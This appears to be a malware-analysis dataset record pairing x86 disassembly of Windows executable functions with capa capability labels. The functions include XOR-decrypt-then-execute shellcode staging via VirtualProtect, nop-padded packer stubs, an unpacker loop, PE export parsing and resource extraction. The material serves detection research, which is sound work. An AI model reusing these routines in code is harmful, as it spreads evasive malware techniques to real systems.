joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4058c0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, ecx
mov ecx, dword [ebp + 8]
cmp ecx, 0xffffffff
jne 0x4058da
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [ebx + 0x20]
push esi
push edi
mov edx, dword [eax]
test edx, edx
je 0x40590e
mov esi, dword [ebx + 0x30]
mov edi, dword [esi]
lea eax, [edi + edx]
cmp edx, eax
jae 0x40590e
lea eax, [edi - 1]
mov dword [esi], eax
mov ecx, dword [ebx + 0x20]
pop edi
pop esi
pop ebx
mov edx, dword [ecx]
lea eax, [edx + 1]
mov dword [ecx], eax
mov eax, dword [ebp + 8]
mov byte [edx], al
mov esp, ebp
pop ebp
ret 4
cmp dword [ebx + 0x50], 0
jne 0x405920
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret 4
mov esi, dword [ebx + 0xc]
lea eax, [ebx + 0x44]
cmp dword [esi], eax
jne 0x405941
mov ecx, dword [ebx + 0x38]
mov edx, dword [ebx + 0x3c]
mov dword [esi], ecx
sub edx, ecx
mov eax, dword [ebx + 0x1c]
mov dword [eax], ecx
mov eax, dword [ebx + 0x2c]
mov ecx, dword [ebp + 8]
mov dword [eax], edx
cmp dword [ebx + 0x40], 0
jne 0x40596a
push dword [ebx + 0x50]
movsx eax, cl
push eax
call fcn.004083cf
add esp, 8
or ecx, 0xffffffff
cmp eax, ecx
cmovne ecx, dword [ebp + 8]
pop edi
pop esi
mov eax, ecx
pop ebx
mov esp, ebp
pop ebp
ret 4
mov byte [ebp - 4], cl
lea eax, [ebp - 0x24]
mov ecx, 0xf
mov byte [ebp - 0x24], 0
xorps xmm0, xmm0
mov dword [ebp - 0x10], ecx
cmp ecx, 0x10
movq qword [ebp - 0x24], xmm0
mov dword [ebp - 0x14], 8
cmovae eax, dword [ebp - 0x24]
mov byte [eax + 8], 0
cmp dword [ebp - 0x10], 0x10
lea eax, [ebp - 8]
mov esi, dword [ebx + 0x40]
lea ecx, [ebp - 0x24]
cmovae ecx, dword [ebp - 0x24]
lea edx, [ebp - 0x24]
cmovae edx, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x14]
mov edi, dword [esi]
add eax, ecx
push eax
push edx
lea eax, [ebp - 0xc]
mov ecx, esi
push eax
lea eax, [ebp - 3]
push eax
lea eax, [ebp - 4]
push eax
lea eax, [ebx + 0x48]
push eax
call dword [edi + 0x1c]
test eax, eax
js 0x405a58
cmp eax, 1
jg 0x405a3b
mov edi, dword [ebp - 0x10]
lea eax, [ebp - 0x24]
mov ecx, dword [ebp - 0x24]
cmp edi, 0x10
mov esi, dword [ebp - 8]
cmovae eax, ecx
sub esi, eax
je 0x405a0c
push dword [ebx + 0x50]
cmp edi, 0x10
lea eax, [ebp - 0x24]
push esi
cmovae eax, ecx
push 1
push eax
call fcn.00408799
add esp, 0x10
cmp esi, eax
jne 0x405a58
lea eax, [ebp - 4]
mov byte [ebx + 0x45], 1
cmp dword [ebp - 0xc], eax
jne 0x405a36
test esi, esi
jne 0x405996
cmp dword [ebp - 0x14], 0x20
jae 0x405a58
push esi
push 8
lea ecx, [ebp - 0x24]
call fcn.00404100
jmp 0x405996
mov ebx, dword [ebp + 8]
jmp 0x405a5b
cmp eax, 3
jne 0x405a58
push dword [ebx + 0x50]
push dword [ebp - 4]
call fcn.004013f0
or ecx, 0xffffffff
test al, al
cmovne ecx, dword [ebp + 8]
mov ebx, ecx
jmp 0x405a5b
or ebx, 0xffffffff
cmp dword [ebp - 0x10], 0x10
jb 0x405a6c
push dword [ebp - 0x24]
call fcn.00407712
add esp, 4
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406a00
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
push edi
push 0x2faf080
xor ebx, ebx
call fcn.00406c8c
mov edi, eax
add esp, 4
test edi, edi
je 0x406ad3
lea eax, [edi + 0x2faf080]
xor edx, edx
mov esi, eax
mov ecx, edi
sub esi, edi
cmp edi, eax
cmova esi, edx
test esi, esi
je 0x406a4a
lea esp, [esp]
inc edx
mov byte [ecx], bl
lea ecx, [ecx + 1]
cmp edx, esi
jne 0x406a40
xor ecx, ecx
lea esi, [ecx + 0xd]
nop
mov al, byte [ecx + section..data]
ror al, 3
xor al, byte [ebx + str.lpdpriestsbas]
mov byte [ecx + section..data], al
lea eax, [ebx + 1]
cdq
inc ecx
idiv esi
mov ebx, edx
cmp ecx, 0x1729
jb 0x406a50
lea eax, [ebp - 8]
push eax
push 0x40
push 0x1729
push section..data
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, section..data
call eax
push edi
call fcn.00408d67
add esp, 4
lea eax, [ebp - 0x40]
push eax
push str.ddser.bmp
call fcn.00402790
mov esi, eax
test esi, esi
je 0x406ad3
push esi
lea eax, [ebp - 0x40]
push eax
call fcn.004026d0
push esi
lea eax, [ebp - 0x40]
push eax
push str.rtertert.bmp
call fcn.00402990
push esi
call fcn.00408d67
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x41939f
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x429e80]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040bb62
mov dword [ebp - 0x14], eax
cmp dword [0x42c45c], esi
jne 0x419492
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x41941f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x419572
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x419572
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x419572
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x42c45c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x42c460], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x42c464], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42c46c], eax
test eax, eax
je 0x41948f
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x42c468], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x4194b7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x4194aa
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x4194cc
push 4
pop eax
jmp 0x419574
cmp dword [ebp - 0x14], esi
je 0x4194cc
push dword [0x42c45c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x4194b1
mov eax, dword [0x42c468]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x41952a
cmp dword [0x42c46c], edi
je 0x41952a
push eax
call ebx
push dword [0x42c46c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41952a
test eax, eax
je 0x41952a
call ecx
test eax, eax
je 0x41951f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41951f
test byte [ebp - 8], 1
jne 0x41952a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x41955a
mov eax, dword [0x42c460]
cmp eax, edi
je 0x419557
push eax
call ebx
test eax, eax
je 0x419557
call eax
mov esi, eax
test esi, esi
je 0x419557
mov eax, dword [0x42c464]
cmp eax, edi
je 0x419557
push eax
call ebx
test eax, eax
je 0x419557
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x42c45c]
call ebx
test eax, eax
je 0x419572
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x419574
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040aafb
mov esp, ebp
pop ebp
ret
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2eca08bb
nop
nop
nop
nop
xor dword [eax], esi
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x40db24b6
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
pop eax
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp fcn.00401219

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x430072
nop
nop
nop
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x2fd926db
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
mov ebx, 0x42e1d0
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x4dcd3781
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x4300c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x408ecc
nop
mov ecx, 0x24c673e2
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..rsrc
mov ebx, 0x42e1d0
nop
nop
mov ecx, 0x47a115e3
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0x40517f
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x4051ba
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x4051a1
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x4051b2
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x4051bc
inc edi
add eax, 0x28
cmp edi, esi
jb 0x405197
xor eax, eax
pop edi
pop esi
ret

Function at 0x405200
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov esi, dword [edi + 0x3c]
add esi, edi
mov ebx, dword [esi + 0x78]
call fcn.0040513f
loopne 0x405261
add ebp, dword [edi]
push esi
push ebx
call fcn.0040517f
pop ecx
test eax, eax
pop ecx
je 0x4052d2
push edi
push esi
push ebx
call fcn.004051bf
add esp, 0xc
call fcn.0040513f
pop eax
mov bl, 0xdf
mov esi, dword [esi + 0x78]
test esi, esi
je 0x4052d2
mov ebx, dword [esi + edi + 0x24]
add esi, edi
add ebx, edi
call fcn.0040513f
arpl word [ebx], di
push eax
movsb byte es:[edi], byte [esi]
mov eax, dword [esi + 0x20]
add eax, edi
mov edi, dword [esi + 0x1c]
add edi, dword [ebp + 8]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
shr eax, 0x10
test ax, ax
inc ebp
or al, 0xc1
call 0xc0c5b879
je 0x4052e1
and dword [ebp - 4], 0
xor ebx, ebx
mov dword [ebp - 0x10], edi
mov eax, dword [esi + 0x10]
add eax, ebx
cmp dword [ebp + 0xc], eax
jne 0x405301
call fcn.0040513f
cmp eax, 0x8bbe58cf
inc ebp
invalid
mov eax, dword [esi + 0x14]
add dword [ebp - 0x10], 4
inc ebx
dec eax
cmp ebx, eax
jbe 0x4052e6
jmp 0x4052d2

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..pdata
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, 0x26262587
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x430024
nop
nop
nop
nop
nop
mov eax, section..pdata_1
nop
mov ebx, 0x42e3d0
mov ecx, 0x52fe5800
nop
nop
nop
nop
test eax, eax
nop
je 0x430084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219
Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
nop
pop eax
nop
nop
nop
nop
add eax, 0x40a063
nop
nop
sub eax, 0x40a009
nop
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x237248c
Capabilities:
Encode data using xor

Disassembly:
jmp 0x2372496
pushal
call 0x237249c
pop ebp
sub ebp, 0x10
sub ebp, 0x1c4248c
jmp 0x23724b2
mov eax, 0x1c4248c
add eax, ebp
add eax, 0x4c
mov ecx, 0x5cc
mov edx, 0xd332d0c4
xor byte [eax], dl
inc eax
dec ecx
jne 0x23724c9
jmp 0x23724dc
dec edi
or dword [edi + 0x4d], ecx
clc
invalid

Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18
Function at 0x40b6b0
Capabilities:
Encode data using xor

Disassembly:
jmp dword [ecx + 0x76]
or al, 0x68
cmp edi, dword [ecx - 0x1c00ffc0]
loopne 0x40b67a
inc eax
add byte [esi + 0x68], ch
jo 0x40b6c2
fadd qword [eax]
push 0x40d00c
push 0x40d008
call 0x7bb995
inc eax
add al, ch
les eax, [edx]
cmp eax, dword [eax]
mov eax, dword [0xb2410b90]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
add bh, bh
xor eax, 0x410b00
lea eax, [ebp - 0x20]
push eax
push 0x8d38d445
inc ebp
in al, 0x50
call dword [0x7c40c0e8]
push 0x40b204
push section..data
call sub.MSVCRT.dll__initterm
call [ecx + 0x740c0ec]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
push dword [ebp - 0x20]
out 0x75, eax
and bh, bh
jne 0x40b6ca
call fcn.00401000
add esp, 0x30
mov dword [ebp - 0x24], eax
pushfd
call dword [0x46c170]
xchg edi, eax
popal
in al, dx
mov ecx, dword [eax]
mov ecx, dword [ecx]
or byte [ebp - 0x30], 0x50
push ecx
call 0xa3b926
pop ecx
pop ecx
ret
Function at 0x401bc2
Capabilities:
Access peb ldr_data

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x42896f
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x43b060]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
mov esi, ecx
push dword [ebp + 0x10]
lea ecx, [esp + 0x10]
call fcn.00402c57
and dword [esp + 0x30], 0
lea eax, [esp + 0xc]
push eax
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call fcn.00401b61
push 0
push 1
lea ecx, [esp + 0x14]
call fcn.0040326b
mov dword [esi], vtable.std::system_error.0
mov eax, esi
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402a7f
Capabilities:
Create directory
Set environment variable

Disassembly:
push 0xffffffffffffffff
push 0x428ae5
mov eax, dword fs:[0]
push eax
sub esp, 0xa4
mov eax, dword [0x43b060]
xor eax, esp
mov dword [esp + 0xa0], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x43b060]
xor eax, esp
push eax
lea eax, [esp + 0xb8]
mov dword fs:[0], eax
mov ebp, ecx
xor ebx, ebx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x18], ebx
call fcn.004029f6
push eax
lea ecx, [esp + 0x50]
mov dword [esp + 0xc4], ebx
call fcn.00407158
mov byte [esp + 0xc4], 1
lea ecx, [esp + 0x80]
mov edx, eax
mov dword [esp], 0x430da0
call fcn.0040706a
pop ecx
push ebx
push 1
lea ecx, [esp + 0x54]
call fcn.0040326b
push ebx
push 1
lea ecx, [esp + 0x24]
mov byte [esp + 0xc8], 4
call fcn.0040326b
cmp dword [esp + 0x90], 0x10
lea eax, [esp + 0x7c]
push ebx
cmovae eax, dword [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 7
pop ecx
mov esi, str.t63UNmGw59kuD3eIxeucFeUSLhYuEG
lea edi, [esp + 0x94]
rep movsd dword es:[edi], dword [esi]
push 0x12
mov ebx, eax
lea eax, [esp + 0x98]
push str.getMathOperations
movsw word es:[edi], word [esi]
push eax
movsb byte es:[edi], byte [esi]
call fcn.00412479
add esp, 0xc
test eax, eax
jne 0x402b6f
push 0x49
pop ecx
call fcn.004025d6
lea eax, [esp + 0x94]
push eax
push 0x430f48
call fcn.00408a8c
pop ecx
pop ecx
lea eax, [esp + 0x94]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test ebx, ebx
je 0x402ba9
lea eax, [esp + 0x7c]
push eax
lea ecx, [esp + 0x68]
call fcn.00402c32
xor ebx, ebx
inc ebx
jmp 0x402bba
push 0x430b39
lea ecx, [esp + 0x38]
call fcn.00402c57
push 2
pop ebx
push eax
mov ecx, ebp
call fcn.00402c86
or ebx, 4
test bl, 2
je 0x402bda
push 0
push 1
lea ecx, [esp + 0x3c]
and ebx, 0xfffffffd
call fcn.0040326b
test bl, 1
je 0x402bec
push 0
push 1
lea ecx, [esp + 0x6c]
call fcn.0040326b
push 0
push 1
lea ecx, [esp + 0x84]
call fcn.0040326b
mov eax, ebp
mov ecx, dword [esp + 0xb8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0xa0]
xor ecx, esp
call fcn.00407d71
add esp, 0xb0
ret
Function at 0x407c20
Capabilities:
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x43b060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, ecx
push edi
mov edi, dword [esi + 0x10]
lea eax, [edi + 2]
push eax
call fcn.004086e4
add esp, 4
mov ebx, eax
cmp dword [esi + 0x14], 0x10
jb 0x407c4e
mov esi, dword [esi]
push esi
lea eax, [edi + 1]
push eax
push ebx
call fcn.00408ecd
mov word [ebx + edi], 0
xorps xmm0, xmm0
movdqu xmmword [ebp - 0x20], xmm0
add esp, 0xc
mov eax, 0x614
movq qword [ebp - 0x10], xmm0
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x24], 0
push eax
mov word [ebp - 8], 0
mov dword [ebp - 0x20], 3
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x12], 0
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
push ebx
mov esi, eax
call fcn.00408b3b
mov ecx, dword [ebp - 4]
add esp, 4
xor eax, eax
test esi, esi
sete al
xor ecx, ebp
pop edi
pop esi
pop ebx
call fcn.00407d71
mov esp, ebp
pop ebp
ret

Function at 0x407cd0
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x43b060]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x430fec
push 0x1232
push 0
mov ebx, ecx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
xor ecx, ecx
test esi, esi
je 0x407d32
lea esp, [esp]
movzx edx, byte [ecx + edi]
mov dl, byte [edx + str.8BP5]
